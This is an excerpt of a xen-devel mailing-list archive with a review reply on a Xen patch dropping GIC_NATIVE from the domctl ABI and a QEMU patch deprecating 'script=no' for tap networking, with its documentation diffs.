DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=mO2rpI6jKmcwoof9QYqzfONsv5KjTgE5vpxDjWDBNGk=;
 b=jwJs4n164+f3+9LLSpzvBmJ81HqGYLm0AlaaMToO82iDa3haXPLZC3mG4pf3wryv4uTqyyB59V0MP3GvrLpYjkwh0dZjQmqJnAACjwT1WtTIuEc8eugkf3ipRVY3cpLx0L38lG8qlNYE05A/APTOiHUgdMOt6v46dFE5/Ri1rug=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <8926d886-4956-4f09-92e4-b4acedcd9f8b@citrix.com>
Date: Fri, 10 Jul 2026 19:57:12 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Juergen Gross <jgross@suse.com>, Andrii Sultanov
 <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v2 4/6] xen/arm: remove XEN_DOMCTL_CONFIG_GIC_NATIVE from
 the ABI
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
 <1783691844.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpq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Bh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783691844.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0063.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:153::14) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|SJ0PR03MB5870:EE_
X-MS-Office365-Filtering-Correlation-Id: ff9804da-ac69-4bf2-87a8-08dedeb50f80
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|7416014|22082099003|18002099003|4143699003|11063799006|56012099006|5023799004|6133799003;
X-Microsoft-Antispam-Message-Info:
	81WY4+arViIkC5ZZbCk/DtRl33/R9dGv2bu2rv5LyoKNCDrd/K2gghisdSmJNXiaBUMvdjGfNuvBjhQmH1PtqhRwa8LgNtFAtmeaZTRYSbEJpbkcAd4mUvbhnjq9CcKY/QlxtKJQHdHZkRvyrmtxVE6d84C5nuqdxaZiSr8uCi04P6tAWAebYUd8VOKUasQXwQGZKzuXkIVYFGZePHvk4Ps/hVWseRb4yyuYhPmdx9me+eBqpXbO+K3dE4imL0ZGPw4XxmgQJSmwiibzqHkjNT919EfkVhA1i+04mk24qKGOiGiA26PkDW/1PFrNUgmvnLjG2tLuVZEqmnEpr52U/HmCdjG8D3/cZWS7bb5bgfghQZ4Dkn7QlNrKJO/1AGFfvM1ZDT2Cs8Br1oVUD3Fl5k20CY5hGZwJau4ON860kn5X65QmqX4yOmNAjJt5UeKGd3SImPopTSC2B7vXSz3mFopGC1z4clDUyW660vJ7kgaWZxH4IGz3MTnL0Zp78G/nHWn3K20TnRU+BgKB4hlfLcZifyUFlT0uBCsWzNWhuYmRCd1Q3CwnafxDdNGRqvY5G15/DyzTY8doB8xJL+2RroUy1dAV2tdj7O+YTp87z+e5ZNcgZUqmJZm3LSAQluDu1ExKG4GPmTjw+gTcAIZYOAuMF3mAvCpZsEZ8kzqse54=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(7416014)(22082099003)(18002099003)(4143699003)(11063799006)(56012099006)(5023799004)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?Tk9hekVTbEtEN1oyN0FsQWxiNUY4Z01NY3lzWW5sdkJ4V213b2IrNzN4VXM1?=
 =?utf-8?B?TXFFOGdKSVYrL0grS1hORC9XM1hqd3RjK1lORVZRVHpFQ2Q3OGhPK3d1VkdE?=
 =?utf-8?B?Qzd2WnZBRXdmL1JrZU5mSTRWemlWQ2lFRzFIL1BTQlAwbTBIc3Y4VjQyUTdu?=
 =?utf-8?B?ZmpIMkxMeWVHOUYrRW1iUnVOaE9ISDRC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NT2VxdVZiOTRKNzBldERrdlJzVHFFWjRxYkY4NmxHdzBzMzN3bzZRNWVj?=
 =?utf-8?B?dFcxanpYYnZMTXZjcUNBejVQamRIc242KzNDbUwxdDV5WnE5WExPSGVnOWM4?=
 =?utf-8?B?SG1KaEd1dVcyWnhGaTQ2dVkzWkVPb3NzZDM5VDBUTmdMNW0zQWJKQ000eEMr?=
 =?utf-8?B?WnZPRHgwOXVrMzJleU83U0hhN3hWSGhUejFxUFVQZ25EMmx1djNoaXVDVitv?=
 =?utf-8?B?QVQwSmRNZTdZR292RytVcTdjQjI0NkhRMHRralU2RE1UakJIeFN0WnRWbmNW?=
 =?utf-8?B?VHF5dzZYSzBXeWxvcmRTV3h6TCtoaVlJQzJwbWpJeEp2N3RTMDNjVlZuRjV4?=
 =?utf-8?B?Tms0cy9ON2VuaVdYNk5FTXI3VFdFVWR1R1VSQWtRbnNaWmdPeUZQUT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ff9804da-ac69-4bf2-87a8-08dedeb50f80
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 18:57:16.4330
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: scxnirzUzHTEn/oTQVPDili5QU4wrQnyaDcpM57VOJLWoEg331GvKrr1DjSaS051k27dNVIJm4LZKJoEgvqYpp5oECxDOfn8q5tgvUYqvaQ=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB5870
X-purgate-ID: tlsNG-ef75cf/1783709841-1E375201-6B1A1D6B/0/0
X-purgate-type: clean
X-purgate-size: 845

On 10/07/2026 2:57 pm, Julian Vetter wrote:
> From: Andrew Cooper <andrew.cooper3@citrix.com>
>
> Now that nothing resolves or relies on GIC_NATIVE (the previous patch
> moved that decision entirely into the toolstack and Xen's own dom0/
> dom0less builders), drop it from the public ABI. Every caller must
> now request a concrete GIC_V2 or GIC_V3.
>
> This is an incompatible change for any toolstack still passing 0
> (formerly GIC_NATIVE) expecting Xen to auto-select a version, so bump
> XEN_DOMCTL_INTERFACE_VERSION.
>
> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>

As before, take ownership of this patch.

Along with half of the previous patch, you must put an entry into
CHANGELOG.md saying that XEN_DOMCTL_CONFIG_GIC_NATIVE has been deleted
and toolstacks must choose GIC_V2 or V3 explicitly.

~Andrew


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 19:18:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 19:18:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359816.1613195 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiGk1-0004UA-Rh; Fri, 10 Jul 2026 19:18:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359816.1613195; Fri, 10 Jul 2026 19:18:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiGk1-0004U3-OV; Fri, 10 Jul 2026 19:18:29 +0000
Received: by outflank-mailman (input) for mailman id 1359816;
 Fri, 10 Jul 2026 19:18:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vsementsov@yandex-team.ru>) id 1wiGk0-0004Tw-61
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 19:18:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiGjy-007y69-CJ
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 21:18:26 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a514579-e002-0a2a0a5209dd-0a2a450be1b2-6
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 21:18:25 +0200
Received: from [178.154.239.200] (helo=forwardcorp1d.mail.yandex.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a514580-b7da-0a2a450b0019-b29aefc8cd14-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 21:18:25 +0200
Received: from mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 (mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 [IPv6:2a02:6b8:c42:94a9:0:640:a3fa:0])
 by forwardcorp1d.mail.yandex.net (postfix) with ESMTPS id 84770808B9;
 Fri, 10 Jul 2026 22:18:24 +0300 (MSK)
Received: from i115954770.yandex-team.ru (unknown [2a02:6bf:8080:c7d::1:20])
 by mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net (smtpcorp) with ESMTPSA
 id AIRXsO0a8eA0-gmOl9KC0; Fri, 10 Jul 2026 22:18:23 +0300
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=default header.d=yandex-team.ru header.i="@yandex-team.ru" header.h="Cc:Message-ID:References:Date:In-Reply-To:Subject:To:From"
Precedence: bulk
X-Yandex-Fwd: 1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru;
	s=default; t=1783711103;
	bh=XU6rFdMa6qjuR/yF7DSa18zwJcjKZIiGNqq4ynL/1x8=;
	h=Cc:Message-ID:References:Date:In-Reply-To:Subject:To:From;
	b=Huru2vOhEY5FtAh3de7SS4ROuzpqxri8ELZL2ZgVKslOnDU0DfKT5P+IwqV4USFGL
	 CvZLpUZro8P/Zgi3ps9C+mqz0Pc30RJOFPDxFJt15QMj4aX1tSTvuE4ybn2GgV/p6X
	 SisTpLxIrfspR/+wKaBJUCssDt0CSapYm9zxq/u4=
Authentication-Results: mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net; dkim=pass header.i=@yandex-team.ru
From: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
To: jasowang@redhat.com,
	mst@redhat.com
Cc: armbru@redhat.com,
	peterx@redhat.com,
	farosas@suse.de,
	raphael.s.norwitz@gmail.com,
	bchaney@akamai.com,
	vsementsov@yandex-team.ru,
	qemu-devel@nongnu.org,
	berrange@redhat.com,
	pbonzini@redhat.com,
	yc-core@yandex-team.ru,
	mark.caveayland@nutanix.com,
	Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
	Sergio Lopez <slp@redhat.com>,
	Zhao Liu <zhao1.liu@intel.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	Bernhard Beschow <shentey@gmail.com>,
	Alistair Francis <Alistair.Francis@wdc.com>,
	Palmer Dabbelt <palmer@dabbelt.com>,
	Jason Wang <jasowangio@gmail.com>,
	Eric Blake <eblake@redhat.com>,
	devel@lists.libvirt.org (open list:Incompatible changes),
	xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
	qemu-ppc@nongnu.org (open list:e500),
	qemu-riscv@nongnu.org (open list:Microchip PolarFi...)
Subject: [PATCH v18 03/14] net/tap: deprecate "no" as special value for script/downscript
Date: Fri, 10 Jul 2026 22:17:52 +0300
Message-ID: <20260710191809.721154-4-vsementsov@yandex-team.ru>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260710191809.721154-1-vsementsov@yandex-team.ru>
References: <20260710191809.721154-1-vsementsov@yandex-team.ru>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783711105-4857B9ED-10B65025/0/0
X-purgate-type: clean
X-purgate-size: 10175

The interface is ambiguous, as "no" is valid file name. So,
using "no" as a special value to disable script is deprecated.
Use an empty string ("script=" / "downscript=") instead.

In a future version, "no" will be treated as a plain file name, just
like any other non-empty value.

Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
and qemu-options.hx. Update other docs to use empty string instead of
"no". Add a warning.

Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
---
 docs/about/deprecated.rst                  | 18 ++++++++++++++++++
 docs/system/i386/microvm.rst               |  4 ++--
 docs/system/i386/xenpvh.rst                |  2 +-
 docs/system/ppc/ppce500.rst                |  4 ++--
 docs/system/riscv/microchip-icicle-kit.rst |  2 +-
 docs/system/riscv/sifive_u.rst             |  2 +-
 net/tap.c                                  |  2 ++
 qapi/net.json                              | 12 ++++++++----
 qemu-options.hx                            |  7 +++++--
 9 files changed, 40 insertions(+), 13 deletions(-)

diff --git a/docs/about/deprecated.rst b/docs/about/deprecated.rst
index 0c656a968fc..c4929317e3a 100644
--- a/docs/about/deprecated.rst
+++ b/docs/about/deprecated.rst
@@ -71,6 +71,15 @@ flexible enough. The monitor objects have been converted to QOM, so
 ``-mon mode=control`` is replaced by ``-object monitor-qmp``. The
 short convenience options are not deprecated, only ``-mon``.
 
+``script=no`` and ``downscript=no`` for ``-netdev tap`` (since 11.2)
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+
+The special value ``"no"`` for the ``script`` and ``downscript``
+parameters of ``-netdev tap`` disables script execution.  This special
+treatment of ``"no"`` is deprecated.  Use an empty string (``script=``
+or ``downscript=``) to disable script execution instead.  In a future
+version, ``"no"`` will be treated as a plain file name.
+
 QEMU Machine Protocol (QMP) commands
 ------------------------------------
 
@@ -164,6 +173,15 @@ Use ``job-finalize`` instead.
 
 Use ``query-accelerators`` instead.
 
+``"no"`` as value of ``script``/``downscript`` for tap in ``netdev_add`` (since 11.2)
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+
+The special value ``"no"`` for the ``script`` and ``downscript``
+parameters of ``netdev_add`` with ``type=tap`` disables script
+execution.  This special treatment of ``"no"`` is deprecated.  Use an
+empty string instead.  In a future version, ``"no"`` will be treated as
+a plain file name.
+
 Human Machine Protocol (HMP) commands
 -------------------------------------
 
diff --git a/docs/system/i386/microvm.rst b/docs/system/i386/microvm.rst
index 1675e37d3e7..077ea15751e 100644
--- a/docs/system/i386/microvm.rst
+++ b/docs/system/i386/microvm.rst
@@ -79,7 +79,7 @@ legacy ``ISA serial`` device as console::
      -serial stdio \
      -drive id=test,file=test.img,format=raw,if=none \
      -device virtio-blk-device,drive=test \
-     -netdev tap,id=tap0,script=no,downscript=no \
+     -netdev tap,id=tap0,script=,downscript= \
      -device virtio-net-device,netdev=tap0
 
 While the example above works, you might be interested in reducing the
@@ -103,7 +103,7 @@ disabled::
      -device virtconsole,chardev=virtiocon0 \
      -drive id=test,file=test.img,format=raw,if=none \
      -device virtio-blk-device,drive=test \
-     -netdev tap,id=tap0,script=no,downscript=no \
+     -netdev tap,id=tap0,script=,downscript= \
      -device virtio-net-device,netdev=tap0
 
 
diff --git a/docs/system/i386/xenpvh.rst b/docs/system/i386/xenpvh.rst
index 904778e3f5c..862f38830b1 100644
--- a/docs/system/i386/xenpvh.rst
+++ b/docs/system/i386/xenpvh.rst
@@ -42,7 +42,7 @@ case you need to construct one manually:
       -vnc none                                       \
       -display none                                   \
       -device virtio-net-pci,id=nic0,netdev=net0,mac=00:16:3e:5c:81:78 \
-      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=no,downscript=no \
+      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=,downscript= \
       -smp 4,maxcpus=4                                \
       -nographic                                      \
       -machine xenpvh,ram-low-base=0,ram-low-size=2147483648,ram-high-base=4294967296,ram-high-size=2147483648,pci-ecam-base=824633720832,pci-ecam-size=268435456,pci-mmio-base=4026531840,pci-mmio-size=33554432,pci-mmio-high-base=824902156288,pci-mmio-high-size=68719476736 \
diff --git a/docs/system/ppc/ppce500.rst b/docs/system/ppc/ppce500.rst
index c9fe0915dc5..ec5aaf14fd9 100644
--- a/docs/system/ppc/ppce500.rst
+++ b/docs/system/ppc/ppce500.rst
@@ -158,14 +158,14 @@ interface at PCI address 0.1.0, but we can switch that to an e1000 NIC by:
   $ qemu-system-ppc64 -M ppce500 -smp 4 -m 2G \
                       -display none -serial stdio \
                       -bios u-boot \
-                      -nic tap,ifname=tap0,script=no,downscript=no,model=e1000
+                      -nic tap,ifname=tap0,script=,downscript=,model=e1000
 
 The QEMU ``ppce500`` machine can also dynamically instantiate an eTSEC device
 if â€œ-device eTSECâ€ is given to QEMU:
 
 .. code-block:: bash
 
-  -netdev tap,ifname=tap0,script=no,downscript=no,id=net0 -device eTSEC,netdev=net0
+  -netdev tap,ifname=tap0,script=,downscript=,id=net0 -device eTSEC,netdev=net0
 
 Root file system on flash drive
 -------------------------------
diff --git a/docs/system/riscv/microchip-icicle-kit.rst b/docs/system/riscv/microchip-icicle-kit.rst
index 9809e94b84b..7fdb96601ad 100644
--- a/docs/system/riscv/microchip-icicle-kit.rst
+++ b/docs/system/riscv/microchip-icicle-kit.rst
@@ -84,7 +84,7 @@ Then we can boot the machine by:
   $ qemu-system-riscv64 -M microchip-icicle-kit -smp 5 -m 2G \
       -sd path/to/sdcard.img \
       -nic user,model=cadence_gem \
-      -nic tap,ifname=tap,model=cadence_gem,script=no \
+      -nic tap,ifname=tap,model=cadence_gem,script= \
       -display none -serial stdio \
       -kernel path/to/u-boot/build/dir/u-boot.bin \
       -dtb path/to/u-boot/build/dir/u-boot.dtb
diff --git a/docs/system/riscv/sifive_u.rst b/docs/system/riscv/sifive_u.rst
index 8f55ae8e313..0e4dcf3e70c 100644
--- a/docs/system/riscv/sifive_u.rst
+++ b/docs/system/riscv/sifive_u.rst
@@ -199,7 +199,7 @@ To boot the VxWorks kernel in QEMU with the ``sifive_u`` machine, use:
 
   $ qemu-system-riscv64 -M sifive_u -smp 5 -m 2G \
       -display none -serial stdio \
-      -nic tap,ifname=tap0,script=no,downscript=no \
+      -nic tap,ifname=tap0,script=,downscript= \
       -kernel /path/to/vxWorks \
       -append "gem(0,0)host:vxWorks h=192.168.200.1 e=192.168.200.2:ffffff00 u=target pw=vxTarget f=0x01"
 
diff --git a/net/tap.c b/net/tap.c
index fedd48c48d2..1ec9e5ebe6f 100644
--- a/net/tap.c
+++ b/net/tap.c
@@ -103,6 +103,8 @@ static bool tap_is_explicit_no_script(const char *script_arg)
     }
 
     if (strcmp(script_arg, "no") == 0) {
+        warn_report("script=no/downscript=no is deprecated; "
+                    "use script=/downscript= instead");
         return true;
     }
 
diff --git a/qapi/net.json b/qapi/net.json
index 8f0915c4d86..ada0329ef9d 100644
--- a/qapi/net.json
+++ b/qapi/net.json
@@ -399,15 +399,19 @@
 # @fds: multiple file descriptors of already opened multiqueue capable
 #     tap
 #
-# @script: script to initialize the interface.  An empty string or
-#     "no" disables script execution.  Defaults to
+# @script: script to initialize the interface.  An empty string
+#     disables script execution.  Defaults to
 #     ``<sysconfdir>/qemu-ifup``, where ``<sysconfdir>`` is the
 #     system configuration directory at build time (typically /etc).
+#     Using "no" to disable script execution is deprecated (since
+#     11.2); use an empty string instead.
 #
-# @downscript: script to shut down the interface.  An empty string or
-#     "no" disables script execution.  Defaults to
+# @downscript: script to shut down the interface.  An empty string
+#     disables script execution.  Defaults to
 #     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the
 #     system configuration directory at build time (typically /etc).
+#     Using "no" to disable script execution is deprecated (since
+#     11.2); use an empty string instead.
 #
 # @br: bridge name (since 2.8)
 #
diff --git a/qemu-options.hx b/qemu-options.hx
index 200949655ea..7b9a14f5b38 100644
--- a/qemu-options.hx
+++ b/qemu-options.hx
@@ -3014,7 +3014,8 @@ DEF("netdev", HAS_ARG, QEMU_OPTION_netdev,
     "                use network scripts 'file' (default=" DEFAULT_NETWORK_SCRIPT ")\n"
     "                to configure it and 'dfile' (default=" DEFAULT_NETWORK_DOWN_SCRIPT ")\n"
     "                to deconfigure it\n"
-    "                use '[down]script=no' or '[down]script=' to disable script execution\n"
+    "                use '[down]script=' to disable script execution\n"
+    "                ('[down]script=no' is deprecated and will be treated as a file name in future)\n"
     "                use network helper 'helper' (default=" DEFAULT_BRIDGE_HELPER ") to\n"
     "                configure it\n"
     "                use 'fd=h' to connect to an already opened TAP interface\n"
@@ -3553,7 +3554,9 @@ SRST
     ``<sysconfdir>/qemu-ifup`` and the default network deconfigure script is
     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the system
     configuration directory at build time (typically ``/etc``).
-    Use ``[down]script=no`` or ``[down]script=`` to disable script execution.
+    Use ``[down]script=`` to disable script execution.
+    Using ``[down]script=no`` is deprecated; in a future version it will
+    be treated as a plain file name.
 
     If running QEMU as an unprivileged user, use the network helper
     to configure the TAP interface and attach it to the bridge.
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 16:24:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 16:24:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360423.1613300 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiaUY-0000CX-Qj; Sat, 11 Jul 2026 16:23:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360423.1613300; Sat, 11 Jul 2026 16:23:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiaUY-0000CP-MC; Sat, 11 Jul 2026 16:23:50 +0000
Received: by outflank-mailman (input) for mailman id 1360423;
 Sat, 11 Jul 2026 16:23:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiaUX-0000CI-OD
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 16:23:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiaUX-0005IG-58
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:23:49 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a526d9c-5cb7-0a2a0a5109dd-0a2a450a977a-34
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 18:23:48 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a526e13-ec7d-0a2a450a0019-aceafc1f84be-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 18:23:48 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 2307741729;
 Sat, 11 Jul 2026 16:23:46 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id CA7C21F000E9;
 Sat, 11 Jul 2026 16:23:29 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783787026;
	bh=eyGPCpKJAg7fhbXBnd8C7Wrqfsg9VL7dUFWJAu8QPbU=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=oHKCbOs50OGhdryTHZVIrJJAH5cNWadJ96vBPL21JseHby43owQLI4TQNXRn8X6gJ
	 TAnHb0VclvTH/ELo5PXr26ZhLJbSwD3gVlLvJn7Z0/7xX0d8g4qtgVFjgxpWwxbv1a
	 7r5CcrXGWEbeyhCP39VRFFsSay0aVbIrR1SurkK/zcKs46h1LZbloHKdjmJ9QcIWOB
	 93pv7I3n5DE5yAji0/HPOsX0hhylbUPeh4N5mBIdjWYLPd6EljlcjYkvh2JpbnVfqK
	 2Dhr9fLfrHgsT5U9G1HrOgWT69oD72z/B+kQJ6Kj2KlR/byBhBoVckK6V+QXJUFKRE
	 5uoKO6B92zc7w==
Date: Sat, 11 Jul 2026 17:23:19 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
